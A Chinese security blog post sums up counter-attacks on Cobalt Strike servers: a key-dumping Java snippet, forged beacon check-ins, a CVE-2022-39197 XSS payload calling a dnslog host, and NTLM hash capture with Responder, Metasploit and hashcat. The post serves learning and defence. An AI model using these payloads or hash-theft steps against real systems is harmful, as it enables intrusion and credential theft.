Cobaltstrike反制方法小结

本文仅作为学习记录,如有侵权,请联系删除!

0x01 批量伪装上线:


以HTTP Beacon为例,在CS的上线过程中,有一串很明显的加密Cookie,是非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密,实际情况里我们并拿不到

可以利用以下代码来提取Private Key与Public Key:

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
{   
    public static void main(String[] args)
    {
        try {
            File file = new File(".cobaltstrike.beacon_keys");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {
           System.out.println("Could not read asymmetric keys");
        }
    }
}

把这个java文件放置在CS服务器的CS文件夹下,在JDK11版本下运行:

java -cp cobaltstrike.jar Dumpkeys.java

继续沿着思路展开,数据包中的核心是加密后的Cookie,那么我们能否进行伪造,达到假主机上线的效果。

上线包的请求Cookie值是受控主机元数据经过非对称加密后的密文,CS服务器接收到Cookie值后进行解密从而获取到受控主机信息。受控主机元数据包含了若干敏感信息:

HTTP型Beacon 上线包的核心在于Cookie,Cookie是对受控主机元数据的非对称加密的密文

一般攻击者会自定义Malleable C2 Profile修改默认流量特征,这里以jQuery为例,尝试通过重放数据包,观察Server是否成果响应了我们的请求,last是否被重制为1s

但这里有个限制,只能伪造已经上线的主机,不能伪造新的受控主机。但若我们了解上线的整个过程,数据是如何被加密的,就有可能在短时间内大量伪造假主机上线。

以Stager型Beacon为例,回顾下CS上线流程:

  • 攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
  • 攻击者投递Stager到受控主机;
  • 受控主机在Exploit阶段执行小巧的Stager;
  • 受控主机根据Stager Url请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验Url的合法性;
  • Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
  • Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
  • C2 Server用私钥解密数据获取主机元数据。

其中核心在于两个部分:Stager Url校验算法Beacon配置的解密算法

  • Stager Url校验算法:

关键函数包括:checksum8、MSFURI、isStager
MSFURI函数从大小写字母+数字的字符数组中随机指定长度的字符序列并调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值(32位Stage与64位Stage分别使用92、93作为固定值)

也就是说,我们可以通过生成4位的随机校验码,通过checksum8算法获取文件,这里以7vv9为例:55+118+118+57-256=92

  • Beacon配置的解密算法:

利用以下几个项目进行解密:
https://github.com/Sentinel-One/CobaltStrikeParser
https://blog.didierstevens.com/2021/06/15/update-1768-py-version-0-0-7/

Public key别忘了要删点后面的无效Padding
正确的格式是MIGfXXXXXXXXXXXXXXXX==,后面那一堆AAAAA要删掉
注意:第二个项目解出来的是十六进制字符串,无法还原成原始字符串,菜是原罪

从解密数据中获取到PublicKey和C2 Server地址

最后就是伪造上线了,利用项目地址:
https://github.com/LiAoRJ/CS_fakesubmit
https://github.com/hariomenkel/CobaltSpam

由于红队会使用各式各样的C2 Profile来混淆通信流量,需要根据捕获到的C2上线流量或者根据Beacon配置解密信息对代码进行适当修改,以jQuery Profile为例,需要对请求头进行补充:

实战环境下可以写循环语句,不停模拟上线操作,让攻击者即使能够上线也无法执行命令

实现效果图:

  • 红队防御措施:

修改CS代码上述2种算法的逻辑,阻止虚假主机上线和C2挖掘

0x02 CVE-2022-39197:


该漏洞允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行。

影响版本:Cobalt Strike <= 4.7

漏洞的本质是swing html的问题,在内容的开头插入<html>标签后续的内容就会被格式化为html文档进行解析,但很多标准标签在swing这个场景里或多或少都受到一些功能限制

利用上述的CS伪造上线的脚本:CS_fakesubmit
把user字段改为<HTML><IMG SRC=http://xxx.dnslog.cn/1.jpg>,当图片不在的话,就会显示断裂

补充:还会存在一定的拒绝服务的效果,攻击之后再操作CS客户端会非常卡

这里利用的话可以通过劫持ntlm-hash,然后利用hastcat等工具破解密码,以MSF为例:

use auxiliary/server/capture/smb
run

发送payload后,成功获取到ntlm-hash:

以Responder为例:python3 Responder.py -I eth0,成功了一次,后面都失败了。。。

hashcat破解成功获取密码:hashcat -m 5600 SWS::SWS-PC:303b0cd3404fabc9:8cd2c75c6ebe62df193c9fc5b0..... pass.txt

后续在VPS上复现的时候,发现国内厂商基本都禁止445端口开放到互联网,尝试本地端口转发也不行,那么劫持ntlm-hash这条路似乎就走不通了,萌新求带

参考如下:


反击CobaltStrike(一) 以假乱真 - SecPulse.COM | 安全脉搏
奇安信攻防社区-CS反制之批量伪装上线
cobaltstrike RCE-part1
域内窃取哈希一些技术

©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,905评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,140评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,791评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,483评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,476评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,516评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,905评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,560评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,778评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,557评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,635评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,338评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,925评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,898评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,142评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,818评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,347评论 2 342

推荐阅读更多精彩内容